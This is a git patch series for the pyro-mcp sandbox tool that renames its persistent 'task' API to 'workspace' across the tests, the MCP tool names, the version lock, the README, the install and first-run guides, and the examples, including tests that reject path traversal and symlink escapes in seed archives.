subcommand_name in task_help_text - task_create_help_text = _subparser_choice( - _subparser_choice(parser, "task"), "create" + workspace_help_text = _subparser_choice(parser, "workspace").format_help() + for subcommand_name in PUBLIC_CLI_WORKSPACE_SUBCOMMANDS: + assert subcommand_name in workspace_help_text + workspace_create_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "create" ).format_help() - for flag in PUBLIC_CLI_TASK_CREATE_FLAGS: - assert flag in task_create_help_text - task_sync_help_text = _subparser_choice(_subparser_choice(parser, "task"), "sync").format_help() - for subcommand_name in PUBLIC_CLI_TASK_SYNC_SUBCOMMANDS: - assert subcommand_name in task_sync_help_text - task_sync_push_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "task"), "sync"), "push" + for flag in PUBLIC_CLI_WORKSPACE_CREATE_FLAGS: + assert flag in workspace_create_help_text + workspace_sync_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), + "sync", ).format_help() - for flag in PUBLIC_CLI_TASK_SYNC_PUSH_FLAGS: - assert flag in task_sync_push_help_text + for subcommand_name in PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS: + assert subcommand_name in workspace_sync_help_text + workspace_sync_push_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "sync"), "push" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS: + assert flag in workspace_sync_push_help_text demo_help_text = _subparser_choice(parser, "demo").format_help() for subcommand_name in PUBLIC_CLI_DEMO_SUBCOMMANDS: diff --git a/tests/test_server.py b/tests/test_server.py index 0f6d19c..ce34b4d 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -31,9 +31,9 @@ def test_create_server_registers_vm_tools(tmp_path: Path) -> None: assert "vm_network_info" in tool_names assert "vm_run" in tool_names assert "vm_status" in tool_names - assert "task_create" in tool_names - assert "task_logs" in tool_names - assert "task_sync_push" in tool_names + assert "workspace_create" in tool_names + assert "workspace_logs" in tool_names + assert "workspace_sync_push" in tool_names def test_vm_run_round_trip(tmp_path: Path) -> None: @@ -166,7 +166,7 @@ def test_server_main_runs_stdio_transport(monkeypatch: pytest.MonkeyPatch) -> No assert called == {"transport": "stdio"} -def test_task_tools_round_trip(tmp_path: Path) -> None: +def test_workspace_tools_round_trip(tmp_path: Path) -> None: manager = VmManager( backend_name="mock", base_dir=tmp_path / "vms", @@ -194,23 +194,23 @@ def test_task_tools_round_trip(tmp_path: Path) -> None: server = create_server(manager=manager) created = _extract_structured( await server.call_tool( - "task_create", + "workspace_create", { "environment": "debian:12-base", "allow_host_compat": True, - "source_path": str(source_dir), + "seed_path": str(source_dir), }, ) ) - task_id = str(created["task_id"]) + workspace_id = str(created["workspace_id"]) update_dir = tmp_path / "update" update_dir.mkdir() (update_dir / "more.txt").write_text("more\n", encoding="utf-8") synced = _extract_structured( await server.call_tool( - "task_sync_push", + "workspace_sync_push", { - "task_id": task_id, + "workspace_id": workspace_id, "source_path": str(update_dir), "dest": "subdir", }, @@ -218,15 +218,19 @@ def test_task_tools_round_trip(tmp_path: Path) -> None: ) executed = _extract_structured( await server.call_tool( - "task_exec", + "workspace_exec", { - "task_id": task_id, + "workspace_id": workspace_id, "command": "cat subdir/more.txt", }, ) ) - logs = _extract_structured(await server.call_tool("task_logs", {"task_id": task_id})) - deleted = _extract_structured(await server.call_tool("task_delete", {"task_id": task_id})) + logs = _extract_structured( + await server.call_tool("workspace_logs", {"workspace_id": workspace_id}) + ) + deleted = _extract_structured( + await server.call_tool("workspace_delete", {"workspace_id": workspace_id}) + ) return created, synced, executed, logs, deleted created, synced, executed, logs, deleted = asyncio.run(_run()) diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index 1b5b562..6bd059a 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -267,48 +267,48 @@ def test_vm_manager_run_vm(tmp_path: Path) -> None: assert str(result["stdout"]) == "ok\n" -def test_task_lifecycle_and_logs(tmp_path: Path) -> None: +def test_workspace_lifecycle_and_logs(tmp_path: Path) -> None: manager = VmManager( backend_name="mock", base_dir=tmp_path / "vms", network_manager=TapNetworkManager(enabled=False), ) - created = manager.create_task( + created = manager.create_workspace( environment="debian:12-base", allow_host_compat=True, ) - task_id = str(created["task_id"]) + workspace_id = str(created["workspace_id"]) assert created["state"] == "started" assert created["workspace_path"] == "/workspace" - first = manager.exec_task( - task_id, + first = manager.exec_workspace( + workspace_id, command="printf 'hello\\n' > note.txt", timeout_seconds=30, ) - second = manager.exec_task(task_id, command="cat note.txt", timeout_seconds=30) + second = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) assert first["exit_code"] == 0 assert second["stdout"] == "hello\n" - status = manager.status_task(task_id) + status = manager.status_workspace(workspace_id) assert status["command_count"] == 2 assert status["last_command"] is not None - logs = manager.logs_task(task_id) + logs = manager.logs_workspace(workspace_id) assert logs["count"] == 2 entries = logs["entries"] assert isinstance(entries, list) assert entries[1]["stdout"] == "hello\n" - deleted = manager.delete_task(task_id) + deleted = manager.delete_workspace(workspace_id) assert deleted["deleted"] is True with pytest.raises(ValueError, match="does not exist"): - manager.status_task(task_id) + manager.status_workspace(workspace_id) -def test_task_create_seeds_directory_source_into_workspace(tmp_path: Path) -> None: +def test_workspace_create_seeds_directory_source_into_workspace(tmp_path: Path) -> None: source_dir = tmp_path / "seed" source_dir.mkdir() (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") @@ -319,25 +319,25 @@ def test_task_create_seeds_directory_source_into_workspace(tmp_path: Path) -> No network_manager=TapNetworkManager(enabled=False), ) - created = manager.create_task( + created = manager.create_workspace( environment="debian:12-base", allow_host_compat=True, - source_path=source_dir, + seed_path=source_dir, ) - task_id = str(created["task_id"]) + workspace_id = str(created["workspace_id"]) workspace_seed = created["workspace_seed"] assert workspace_seed["mode"] == "directory" - assert workspace_seed["source_path"] == str(source_dir.resolve()) - executed = manager.exec_task(task_id, command="cat note.txt", timeout_seconds=30) + assert workspace_seed["seed_path"] == str(source_dir.resolve()) + executed = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) assert executed["stdout"] == "hello\n" - status = manager.status_task(task_id) + status = manager.status_workspace(workspace_id) assert status["workspace_seed"]["mode"] == "directory" - assert status["workspace_seed"]["source_path"] == str(source_dir.resolve()) + assert status["workspace_seed"]["seed_path"] == str(source_dir.resolve()) -def test_task_create_seeds_tar_archive_into_workspace(tmp_path: Path) -> None: +def test_workspace_create_seeds_tar_archive_into_workspace(tmp_path: Path) -> None: archive_path = tmp_path / "seed.tgz" nested_dir = tmp_path / "src" nested_dir.mkdir() @@ -351,19 +351,19 @@ def test_task_create_seeds_tar_archive_into_workspace(tmp_path: Path) -> None: network_manager=TapNetworkManager(enabled=False), ) - created = manager.create_task( + created = manager.create_workspace( environment="debian:12-base", allow_host_compat=True, - source_path=archive_path, + seed_path=archive_path, ) - task_id = str(created["task_id"]) + workspace_id = str(created["workspace_id"]) assert created["workspace_seed"]["mode"] == "tar_archive" - executed = manager.exec_task(task_id, command="cat note.txt", timeout_seconds=30) + executed = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) assert executed["stdout"] == "archive\n" -def test_task_sync_push_updates_started_workspace(tmp_path: Path) -> None: +def test_workspace_sync_push_updates_started_workspace(tmp_path: Path) -> None: source_dir = tmp_path / "seed" source_dir.mkdir() (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") @@ -377,26 +377,30 @@ def test_task_sync_push_updates_started_workspace(tmp_path: Path) -> None: network_manager=TapNetworkManager(enabled=False), ) - created = manager.create_task( + created = manager.create_workspace( environment="debian:12-base", allow_host_compat=True, - source_path=source_dir, + seed_path=source_dir, ) - task_id = str(created["task_id"]) - synced = manager.push_task_sync(task_id, source_path=update_dir, dest="subdir") + workspace_id = str(created["workspace_id"]) + synced = manager.push_workspace_sync(workspace_id, source_path=update_dir, dest="subdir") assert synced["workspace_sync"]["mode"] == "directory" assert synced["workspace_sync"]["destination"] == "/workspace/subdir" - executed = manager.exec_task(task_id, command="cat subdir/more.txt", timeout_seconds=30) + executed = manager.exec_workspace( + workspace_id, + command="cat subdir/more.txt", + timeout_seconds=30, + ) assert executed["stdout"] == "more\n" - status = manager.status_task(task_id) + status = manager.status_workspace(workspace_id) assert status["command_count"] == 1 assert status["workspace_seed"]["mode"] == "directory" -def test_task_sync_push_requires_started_task(tmp_path: Path) -> None: +def test_workspace_sync_push_requires_started_workspace(tmp_path: Path) -> None: source_dir = tmp_path / "seed" source_dir.mkdir() (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") @@ -410,22 +414,25 @@ def test_task_sync_push_requires_started_task(tmp_path: Path) -> None: network_manager=TapNetworkManager(enabled=False), ) - created = manager.create_task( + created = manager.create_workspace( environment="debian:12-base", allow_host_compat=True, - source_path=source_dir, + seed_path=source_dir, ) - task_id = str(created["task_id"]) - task_path = tmp_path / "vms" / "tasks" / task_id / "task.json" - payload = json.loads(task_path.read_text(encoding="utf-8")) + workspace_id = str(created["workspace_id"]) + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) payload["state"] = "stopped" - task_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") - with pytest.raises(RuntimeError, match="must be in 'started' state before task_sync_push"): - manager.push_task_sync(task_id, source_path=update_dir) + with pytest.raises( + RuntimeError, + match="must be in 'started' state before workspace_sync_push", + ): + manager.push_workspace_sync(workspace_id, source_path=update_dir) -def test_task_sync_push_rejects_destination_outside_workspace(tmp_path: Path) -> None: +def test_workspace_sync_push_rejects_destination_outside_workspace(tmp_path: Path) -> None: source_dir = tmp_path / "seed" source_dir.mkdir() (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") @@ -436,18 +443,18 @@ def test_task_sync_push_rejects_destination_outside_workspace(tmp_path: Path) -> network_manager=TapNetworkManager(enabled=False), ) - task_id = str( - manager.create_task( + workspace_id = str( + manager.create_workspace( environment="debian:12-base", allow_host_compat=True, - )["task_id"] + )["workspace_id"] ) with pytest.raises(ValueError, match="workspace destination must stay inside /workspace"): - manager.push_task_sync(task_id, source_path=source_dir, dest="../escape") + manager.push_workspace_sync(workspace_id, source_path=source_dir, dest="../escape") -def test_task_create_rejects_unsafe_seed_archive(tmp_path: Path) -> None: +def test_workspace_create_rejects_unsafe_seed_archive(tmp_path: Path) -> None: archive_path = tmp_path / "bad.tgz" with tarfile.open(archive_path, "w:gz") as archive: payload = b"bad\n" @@ -462,15 +469,15 @@ def test_task_create_rejects_unsafe_seed_archive(tmp_path: Path) -> None: ) with pytest.raises(RuntimeError, match="unsafe archive member path"): - manager.create_task( + manager.create_workspace( environment="debian:12-base", allow_host_compat=True, - source_path=archive_path, + seed_path=archive_path, ) - assert list((tmp_path / "vms" / "tasks").iterdir()) == [] + assert list((tmp_path / "vms" / "workspaces").iterdir()) == [] -def test_task_create_rejects_archive_that_writes_through_symlink(tmp_path: Path) -> None: +def test_workspace_create_rejects_archive_that_writes_through_symlink(tmp_path: Path) -> None: archive_path = tmp_path / "bad-symlink.tgz" with tarfile.open(archive_path, "w:gz") as archive: symlink_info = tarfile.TarInfo(name="linked") @@ -490,14 +497,14 @@ def test_task_create_rejects_archive_that_writes_through_symlink(tmp_path: Path) ) with pytest.raises(RuntimeError, match="traverse through a symlinked path"): - manager.create_task( + manager.create_workspace( environment="debian:12-base", allow_host_compat=True, - source_path=archive_path, + seed_path=archive_path, ) -def test_task_create_cleans_up_on_seed_failure( +def test_workspace_create_cleans_up_on_seed_failure( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: source_dir = tmp_path / "seed" @@ -517,27 +524,27 @@ def test_task_create_cleans_up_on_seed_failure( monkeypatch.setattr(manager._backend, "import_archive", _boom) # noqa: SLF001 with pytest.raises(RuntimeError, match="seed import failed"): - manager.create_task( + manager.create_workspace( environment="debian:12-base", allow_host_compat=True, - source_path=source_dir, + seed_path=source_dir, ) - assert list((tmp_path / "vms" / "tasks").iterdir()) == [] + assert list((tmp_path / "vms" / "workspaces").iterdir()) == [] -def test_task_rehydrates_across_manager_processes(tmp_path: Path) -> None: +def test_workspace_rehydrates_across_manager_processes(tmp_path: Path) -> None: base_dir = tmp_path / "vms" manager = VmManager( backend_name="mock", base_dir=base_dir, network_manager=TapNetworkManager(enabled=False), ) - task_id = str( - manager.create_task( + workspace_id = str( + manager.create_workspace( environment="debian:12-base", allow_host_compat=True, - )["task_id"] + )["workspace_id"] ) other = VmManager( @@ -545,33 +552,33 @@ def test_task_rehydrates_across_manager_processes(tmp_path: Path) -> None: base_dir=base_dir, network_manager=TapNetworkManager(enabled=False), ) - executed = other.exec_task(task_id, command="printf 'ok\\n'", timeout_seconds=30) + executed = other.exec_workspace(workspace_id, command="printf 'ok\\n'", timeout_seconds=30) assert executed["exit_code"] == 0 assert executed["stdout"] == "ok\n" - logs = other.logs_task(task_id) + logs = other.logs_workspace(workspace_id) assert logs["count"] == 1 -def test_task_requires_started_state(tmp_path: Path) -> None: +def test_workspace_requires_started_state(tmp_path: Path) -> None: manager = VmManager( backend_name="mock", base_dir=tmp_path / "vms", network_manager=TapNetworkManager(enabled=False), ) - task_id = str( - manager.create_task( + workspace_id = str( + manager.create_workspace( environment="debian:12-base", allow_host_compat=True, - )["task_id"] + )["workspace_id"] ) - task_dir = tmp_path / "vms" / "tasks" / task_id / "task.json" - payload = json.loads(task_dir.read_text(encoding="utf-8")) + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) payload["state"] = "stopped" - task_dir.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") with pytest.raises(RuntimeError, match="must be in 'started' state"): - manager.exec_task(task_id, command="true", timeout_seconds=30) + manager.exec_workspace(workspace_id, command="true", timeout_seconds=30) def test_vm_manager_firecracker_backend_path( @@ -708,7 +715,7 @@ def test_copy_rootfs_falls_back_to_copy2( assert dest.read_text(encoding="utf-8") == "payload" -def test_task_create_cleans_up_on_start_failure( +def test_workspace_create_cleans_up_on_start_failure( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: manager = VmManager( @@ -724,9 +731,9 @@ def test_task_create_cleans_up_on_start_failure( monkeypatch.setattr(manager._backend, "start", _boom) # noqa: SLF001 with pytest.raises(RuntimeError, match="boom"): - manager.create_task(environment="debian:12-base", allow_host_compat=True) + manager.create_workspace(environment="debian:12-base", allow_host_compat=True) - assert list((tmp_path / "vms" / "tasks").iterdir()) == [] + assert list((tmp_path / "vms" / "workspaces").iterdir()) == [] def test_exec_instance_wraps_guest_workspace_command(tmp_path: Path) -> None: @@ -786,53 +793,53 @@ def test_exec_instance_wraps_guest_workspace_command(tmp_path: Path) -> None: assert captured["workdir"] is None -def test_status_task_marks_dead_backing_process_stopped(tmp_path: Path) -> None: +def test_status_workspace_marks_dead_backing_process_stopped(tmp_path: Path) -> None: manager = VmManager( backend_name="mock", base_dir=tmp_path / "vms", network_manager=TapNetworkManager(enabled=False), ) - task_id = str( - manager.create_task( + workspace_id = str( + manager.create_workspace( environment="debian:12-base", allow_host_compat=True, - )["task_id"] + )["workspace_id"] ) - task_path = tmp_path / "vms" / "tasks" / task_id / "task.json" - payload = json.loads(task_path.read_text(encoding="utf-8")) + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) payload["metadata"]["execution_mode"] = "guest_vsock" payload["firecracker_pid"] = 999999 - task_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") - status = manager.status_task(task_id) + status = manager.status_workspace(workspace_id) assert status["state"] == "stopped" - updated_payload = json.loads(task_path.read_text(encoding="utf-8")) + updated_payload = json.loads(workspace_path.read_text(encoding="utf-8")) assert "backing guest process" in str(updated_payload.get("last_error", "")) -def test_reap_expired_tasks_removes_invalid_and_expired_records(tmp_path: Path) -> None: +def test_reap_expired_workspaces_removes_invalid_and_expired_records(tmp_path: Path) -> None: manager = VmManager( backend_name="mock", base_dir=tmp_path / "vms", network_manager=TapNetworkManager(enabled=False), ) - invalid_dir = tmp_path / "vms" / "tasks" / "invalid" + invalid_dir = tmp_path / "vms" / "workspaces" / "invalid" invalid_dir.mkdir(parents=True) - (invalid_dir / "task.json").write_text("[]", encoding="utf-8") + (invalid_dir / "workspace.json").write_text("[]", encoding="utf-8") - task_id = str( - manager.create_task( + workspace_id = str( + manager.create_workspace( environment="debian:12-base", allow_host_compat=True, - )["task_id"] + )["workspace_id"] ) - task_path = tmp_path / "vms" / "tasks" / task_id / "task.json" - payload = json.loads(task_path.read_text(encoding="utf-8")) + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) payload["expires_at"] = 0.0 - task_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") with manager._lock: # noqa: SLF001 - manager._reap_expired_tasks_locked(time.time()) # noqa: SLF001 + manager._reap_expired_workspaces_locked(time.time()) # noqa: SLF001 assert not invalid_dir.exists() - assert not (tmp_path / "vms" / "tasks" / task_id).exists() + assert not (tmp_path / "vms" / "workspaces" / workspace_id).exists() diff --git a/uv.lock b/uv.lock index 74fea07..4fd3492 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "2.3.0" +version = "2.4.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From 2de31306b63299ff916b8fd9bafb8662ff705667 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 01:22:26 -0300 Subject: [PATCH 16/49] Refresh docs and examples for workspaces Rewrite the user-facing persistent sandbox story around pyro workspace ..., including the install guide, first-run transcript, integrations notes, and public contract reference. Rename the Python example to examples/python_workspace.py and update the docs to use the new workspace create, sync, exec, status, logs, and delete flows with seed_path/workspace_id terminology. Mark the 2.4.0 workspace-contract pivot as done in the roadmap now that the shipped CLI, SDK, MCP, docs, and tests all use the workspace-first surface. --- README.md | 67 +++++++------- docs/first-run.md | 29 +++--- docs/install.md | 31 +++---- docs/integrations.md | 16 ++-- docs/public-contract.md | 89 +++++++++---------- docs/roadmap/task-workspace-ga.md | 2 +- .../2.4.0-workspace-contract-pivot.md | 4 +- examples/python_task.py | 30 ------- examples/python_workspace.py | 30 +++++++ 9 files changed, 148 insertions(+), 150 deletions(-) delete mode 100644 examples/python_task.py create mode 100644 examples/python_workspace.py diff --git a/README.md b/README.md index 44c02a4..86b5a91 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # pyro-mcp -`pyro-mcp` runs one-shot commands and repeated task workspaces inside ephemeral Firecracker microVMs using curated Linux environments such as `debian:12`. +`pyro-mcp` runs one-shot commands and repeated workspaces inside ephemeral Firecracker microVMs using curated Linux environments such as `debian:12`. [![PyPI version](https://img.shields.io/pypi/v/pyro-mcp.svg)](https://pypi.org/project/pyro-mcp/) @@ -16,10 +16,11 @@ It exposes the same runtime in three public forms: - Install: [docs/install.md](docs/install.md) - Vision: [docs/vision.md](docs/vision.md) +- Workspace roadmap: [docs/roadmap/task-workspace-ga.md](docs/roadmap/task-workspace-ga.md) - First run transcript: [docs/first-run.md](docs/first-run.md) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 2.3.0: [CHANGELOG.md#230](CHANGELOG.md#230) +- What's new in 2.4.0: [CHANGELOG.md#240](CHANGELOG.md#240) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -56,7 +57,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 2.3.0 +Catalog version: 2.4.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -75,8 +76,8 @@ access to `registry-1.docker.io`, and needs local cache space for the guest imag After the quickstart works: - prove the full one-shot lifecycle with `uvx --from pyro-mcp pyro demo` -- create a persistent workspace with `uvx --from pyro-mcp pyro task create debian:12 --source-path ./repo` -- update a live task from the host with `uvx --from pyro-mcp pyro task sync push TASK_ID ./changes` +- create a persistent workspace with `uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo` +- update a live workspace from the host with `uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes` - move to Python or MCP via [docs/integrations.md](docs/integrations.md) ## Supported Hosts @@ -130,7 +131,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.2.0 +Catalog version: 2.4.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -194,36 +195,36 @@ When you are done evaluating and want to remove stale cached environments, run ` If you prefer a fuller copy-pasteable transcript, see [docs/first-run.md](docs/first-run.md). The walkthrough GIF above was rendered from [docs/assets/first-run.tape](docs/assets/first-run.tape) using [scripts/render_tape.sh](scripts/render_tape.sh). -## Persistent Tasks +## Persistent Workspaces -Use `pyro run` for one-shot commands. Use `pyro task ...` when you need repeated commands in one +Use `pyro run` for one-shot commands. Use `pyro workspace ...` when you need repeated commands in one workspace without recreating the sandbox every time. The project direction is an agent workspace, not a CI job runner. Persistent -tasks are meant to let an agent stay inside one bounded sandbox across multiple +workspaces are meant to let an agent stay inside one bounded sandbox across multiple steps. See [docs/vision.md](docs/vision.md) for the product thesis and the longer-term interaction model. ```bash -pyro task create debian:12 --source-path ./repo -pyro task sync push TASK_ID ./changes --dest src -pyro task exec TASK_ID -- cat src/note.txt -pyro task logs TASK_ID -pyro task delete TASK_ID +pyro workspace create debian:12 --seed-path ./repo +pyro workspace sync push WORKSPACE_ID ./changes --dest src +pyro workspace exec WORKSPACE_ID -- cat src/note.txt +pyro workspace logs WORKSPACE_ID +pyro workspace delete WORKSPACE_ID ``` -Task workspaces start in `/workspace` and keep command history until you delete them. For machine -consumption, add `--json` and read the returned `task_id`. Use `--source-path` when you want the -task to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an -empty workspace. Use `pyro task sync push` when you want to import later host-side changes into a -started task. Sync is non-atomic in `2.3.0`; if it fails partway through, delete and recreate the -task from its seed. +Persistent workspaces start in `/workspace` and keep command history until you delete them. For +machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when +you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` +archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import +later host-side changes into a started workspace. Sync is non-atomic in `2.4.0`; if it fails +partway through, delete and recreate the workspace from its seed. ## Public Interfaces The public user-facing interface is `pyro` and `Pyro`. After the CLI validation path works, you can choose one of three surfaces: -- `pyro` for direct CLI usage, including one-shot `run` and persistent `task` workflows +- `pyro` for direct CLI usage, including one-shot `run` and persistent `workspace` workflows - `from pyro_mcp import Pyro` for Python orchestration - `pyro mcp serve` for MCP clients @@ -359,14 +360,14 @@ For repeated commands in one workspace: from pyro_mcp import Pyro pyro = Pyro() -task = pyro.create_task(environment="debian:12", source_path="./repo") -task_id = task["task_id"] +workspace = pyro.create_workspace(environment="debian:12", seed_path="./repo") +workspace_id = workspace["workspace_id"] try: - pyro.push_task_sync(task_id, "./changes", dest="src") - result = pyro.exec_task(task_id, command="cat src/note.txt") + pyro.push_workspace_sync(workspace_id, "./changes", dest="src") + result = pyro.exec_workspace(workspace_id, command="cat src/note.txt") print(result["stdout"], end="") finally: - pyro.delete_task(task_id) + pyro.delete_workspace(workspace_id) ``` ## MCP Tools @@ -389,18 +390,18 @@ Advanced lifecycle tools: Persistent workspace tools: -- `task_create(environment, vcpu_count=1, mem_mib=1024, ttl_seconds=600, network=false, allow_host_compat=false, source_path=null)` -- `task_sync_push(task_id, source_path, dest="/workspace")` -- `task_exec(task_id, command, timeout_seconds=30)` -- `task_status(task_id)` -- `task_logs(task_id)` -- `task_delete(task_id)` +- `workspace_create(environment, vcpu_count=1, mem_mib=1024, ttl_seconds=600, network=false, allow_host_compat=false, seed_path=null)` +- `workspace_sync_push(workspace_id, source_path, dest="/workspace")` +- `workspace_exec(workspace_id, command, timeout_seconds=30)` +- `workspace_status(workspace_id)` +- `workspace_logs(workspace_id)` +- `workspace_delete(workspace_id)` ## Integration Examples - Python one-shot SDK example: [examples/python_run.py](examples/python_run.py) - Python lifecycle example: [examples/python_lifecycle.py](examples/python_lifecycle.py) -- Python task workspace example: [examples/python_task.py](examples/python_task.py) +- Python workspace example: [examples/python_workspace.py](examples/python_workspace.py) - MCP client config example: [examples/mcp_client_config.md](examples/mcp_client_config.md) - Claude Desktop MCP config: [examples/claude_desktop_mcp_config.json](examples/claude_desktop_mcp_config.json) - Cursor MCP config: [examples/cursor_mcp_config.json](examples/cursor_mcp_config.json) diff --git a/docs/first-run.md b/docs/first-run.md index 3a382b3..ce3adcd 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 2.3.0 +Catalog version: 2.4.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -70,18 +70,18 @@ deterministic structured result. ```bash $ uvx --from pyro-mcp pyro demo -$ uvx --from pyro-mcp pyro task create debian:12 --source-path ./repo -$ uvx --from pyro-mcp pyro task sync push TASK_ID ./changes +$ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo +$ uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes $ uvx --from pyro-mcp pyro mcp serve ``` `pyro demo` proves the one-shot create/start/exec/delete VM lifecycle works end to end. -When you need repeated commands in one sandbox, switch to `pyro task ...`: +When you need repeated commands in one sandbox, switch to `pyro workspace ...`: ```bash -$ uvx --from pyro-mcp pyro task create debian:12 --source-path ./repo -Task: ... +$ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo +Workspace ID: ... Environment: debian:12 State: started Workspace: /workspace @@ -90,18 +90,19 @@ Execution mode: guest_vsock Resources: 1 vCPU / 1024 MiB Command count: 0 -$ uvx --from pyro-mcp pyro task sync push TASK_ID ./changes --dest src -[task-sync] task_id=... mode=directory source=... destination=/workspace/src entry_count=... bytes_written=... execution_mode=guest_vsock +$ uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes --dest src +[workspace-sync] workspace_id=... mode=directory source=... destination=/workspace/src entry_count=... bytes_written=... execution_mode=guest_vsock -$ uvx --from pyro-mcp pyro task exec TASK_ID -- cat src/note.txt -hello from synced task -[task-exec] task_id=... sequence=1 cwd=/workspace execution_mode=guest_vsock exit_code=0 duration_ms=... +$ uvx --from pyro-mcp pyro workspace exec WORKSPACE_ID -- cat src/note.txt +hello from synced workspace +[workspace-exec] workspace_id=... sequence=1 cwd=/workspace execution_mode=guest_vsock exit_code=0 duration_ms=... ``` -Use `--source-path` when the task should start from a host directory or a local +Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use -`pyro task sync push` when you need to import later host-side changes into a started task. -Sync is non-atomic in `2.3.0`; if it fails partway through, delete and recreate the task. +`pyro workspace sync push` when you need to import later host-side changes into a started +workspace. Sync is non-atomic in `2.4.0`; if it fails partway through, delete and recreate the +workspace. Example output: diff --git a/docs/install.md b/docs/install.md index 62ae490..69f18ba 100644 --- a/docs/install.md +++ b/docs/install.md @@ -83,7 +83,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.3.0 +Catalog version: 2.4.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -174,29 +174,30 @@ pyro run debian:12 -- git --version After the CLI path works, you can move on to: -- persistent workspaces: `pyro task create debian:12 --source-path ./repo` -- live task updates: `pyro task sync push TASK_ID ./changes` +- persistent workspaces: `pyro workspace create debian:12 --seed-path ./repo` +- live workspace updates: `pyro workspace sync push WORKSPACE_ID ./changes` - MCP: `pyro mcp serve` - Python SDK: `from pyro_mcp import Pyro` - Demos: `pyro demo` or `pyro demo --network` -## Persistent Task Workspace +## Persistent Workspace -Use `pyro task ...` when you need repeated commands in one sandbox instead of one-shot `pyro run`. +Use `pyro workspace ...` when you need repeated commands in one sandbox instead of one-shot `pyro run`. ```bash -pyro task create debian:12 --source-path ./repo -pyro task sync push TASK_ID ./changes --dest src -pyro task exec TASK_ID -- cat src/note.txt -pyro task logs TASK_ID -pyro task delete TASK_ID +pyro workspace create debian:12 --seed-path ./repo +pyro workspace sync push WORKSPACE_ID ./changes --dest src +pyro workspace exec WORKSPACE_ID -- cat src/note.txt +pyro workspace logs WORKSPACE_ID +pyro workspace delete WORKSPACE_ID ``` -Task commands default to the persistent `/workspace` directory inside the guest. If you need the -task identifier programmatically, use `--json` and read the 